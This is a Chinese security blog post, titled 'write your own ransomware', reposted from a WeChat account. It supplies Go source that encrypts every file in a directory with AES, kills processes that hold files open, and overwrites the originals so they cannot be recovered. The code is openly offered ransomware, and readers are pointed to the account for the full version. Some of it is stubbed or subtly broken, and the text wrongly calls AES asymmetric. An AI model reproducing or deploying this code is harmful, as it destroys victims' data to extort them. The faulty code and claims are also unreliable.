0x0什么是勒索病毒
文件加密: 勒索病毒会加密受害者的文件,使其无法访问。只有攻击者拥有解密密钥,受害者才能够解锁文件。这些文件可能包括文档、照片、视频、数据库等重要数据
赎金要求: 攻击者会要求受害者支付一定金额的加密货币(如比特币)作为赎金,以获取解锁文件或解密密钥。这通常是通过匿名方式进行的,难以追踪
本文从勒索病毒的角度去剖析如何加密文件or解密文件
文章末尾提供加密源码
文章末尾提供加密源码
文章末尾提供加密源码
文章末尾提供加密源码
文章末尾提供加密源码
0x1选择加密算法
首先,需要选择一个适当的加密算法。常见的对称加密算法包括AES(高级加密标准),而非对称加密算法包括RSA和ECC或者AES。每种算法都有其自己的特点和用途,选择时应根据安全性需求和性能考虑做出决策。由于笔者在读研究生的时候,研究的是AES的算法方向,故本文采用AES来进行演示。
0x2关于AES
-
对称加密算法:AES是一种对称加密算法,这意味着相同的密钥用于加密和解密数据。因此,在使用AES进行通信或数据保护时,双方必须共享相同的密钥。 -
块加密算法:AES按照固定大小的数据块(128位,即16字节)来进行加密。这意味着要加密的数据必须被分割成块,并且每个块都会被单独加密。 -
不同的密钥长度:AES支持不同长度的密钥,包括128位、192位和256位密钥。较长的密钥通常提供更高的安全性,但也需要更多的计算资源。
0x3加密文件
加密文件主要的步骤和注意的点有以下几点:
a.文件是否被占用
b.文件的大小如果太大,无法一次性读入内存应该如何解决
`
func AESEncrypt(input io.Reader, output io.Writer, key []byte, blockSize int) error {
// 创建AES块加密器
block, err := aes.NewCipher(key)
if err != nil {
return err
}
// 创建初始化向量(IV),在这里使用了简单的固定IV
iv := make([]byte, aes.BlockSize)
for i := 0; i < aes.BlockSize; i++ {
if i%2 == 0 {
iv[i] = 0xFF
} else {
iv[i] = 0xAA
}
}
// 创建AES加密模式(CBC模式)
mode := cipher.NewCBCEncrypter(block, iv)
// 创建数据缓冲区
buffer := make([]byte, blockSize)
paddedBuffer := make([]byte, len(buffer))
// 逐块读取输入数据,并加密后写入输出
n, err := input.Read(buffer)
if err != nil && err != io.EOF {
return err
}
if n > 0 && n <= blockSize {
paddedBuffer = PKCS7Padding(buffer[:n], aes.BlockSize)
encrypted := make([]byte, len(paddedBuffer))
mode.CryptBlocks(encrypted, paddedBuffer)
_, err = output.Write(encrypted)
if err != nil {
return err
}
}
for err == nil {
n, err = input.Read(buffer)
if err != nil && err != io.EOF {
return err
}
if n > 0 {
encrypted := make([]byte, len(buffer))
mode.CryptBlocks(encrypted, buffer)
_, err = output.Write(encrypted)
if err != nil {
return err
}
}
}
if err == io.EOF {
return nil
}
return err
}
`
PKCS7Padding 函数用于对数据进行PKCS7填充,以确保数据块大小为指定块大小的整数倍
func PKCS7Padding(data []byte, blockSize int) []byte {
padding := blockSize - (len(data) % blockSize)
padtext := bytes.Repeat([]byte{byte(padding)}, padding)
return append(data, padtext...)
}
加密文件主函数,传入一个文件的路径
func EncryptFile(filename string, key []byte, blockSize int) error {
fmt.Println("Running:", filename)
// 检查文件是否被占用
_, pid, err := isFileInUse(filename)
if err != nil {
fmt.Println("Error checking file usage:", err)
return err
}
if pid != 0 {
// 终止占用文件的进程
err = terminateProcess(pid)
time.Sleep(1 * time.Second)
if err != nil {
fmt.Println("Error terminating process:", err)
}
}
// 等待一段时间以确保进程已经完全结束
// 打开要加密的文件
file, err := os.Open(filename)
if err != nil {
return err
}
defer file.Close()
// 创建缓冲区以保存加密后的内容
buffer := bytes.Buffer{}
// 执行加密
err = AESEncrypt(file, &buffer, key, blockSize)
if err != nil {
return err
}
// 截断原始文件
err = os.Truncate(filename, 0)
if err != nil {
return err
}
// 以写模式打开原始文件
sourceFile, err := os.OpenFile(filename, os.O_RDWR|os.O_TRUNC, 0644)
if err != nil {
return err
}
defer sourceFile.Close()
// 将加密后的内容写回原始文件,直接重写源文件,防止文件恢复
_, err = io.Copy(sourceFile, &buffer)
if err != nil {
return err
}
return nil
}
检查文件是否被占用函数
func isFileInUse(filename string) (bool, int32, error) {
//
return false, 0, nil
}
找到占用文件的进程
func findProcessUsingFile(filename string) (int32, error) {
\
return 0, nil
}
然后kill
func terminateProcess(pid int32) error {
//
return p.Kill()
}
EncryptDirectory 函数用于加密指定目录下的所有文件(不包括子目录中的文件)。
func EncryptDirectory(directory string, key []byte, blockSize int) error {
err := filepath.Walk(directory, func(path string, info os.FileInfo, err error) error {
if err != nil {
return err
}
// 跳过子目录
if info.IsDir() {
return nil
}
// 加密每个文件
err = EncryptFile(path, key, blockSize)
if err != nil {
return err
}
return nil
})
if err != nil {
return err
}
return nil
}
程序的入口
func main() {
if len(os.Args) < 2 {
fmt.Println("Usage: go run main.go <directory>")
return
}
key := []byte("") // 自定义加密密钥
directory := os.Args[1] // 命令行参数中的目录路径
// 加密目录
err := EncryptDirectory(directory, key, 4*1024*1024)
if err != nil {
fmt.Println("Error encrypting directory:", err)
}
fmt.Println("Encryption completed.")
}
0x4总结
1.其实回到勒索病毒的本身,不过是文件加密罢了。这篇文章注意也是为了揭开勒索病毒的层层面纱。
2.程序有许多不足。当服务器内存小于需要加密的文件时候,无法一次性加入内存。相信各位师傅已经有了解决的思路,例如分段读入内存,但这里会涉及到AES的填充和后续的对齐问题.
3.由于篇幅原因,无法将所有源码写出 。关注公众号回复"enc"获取源码
原文始发于微信公众号(CKCsec安全研究院):编写属于自己的勒索病毒
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论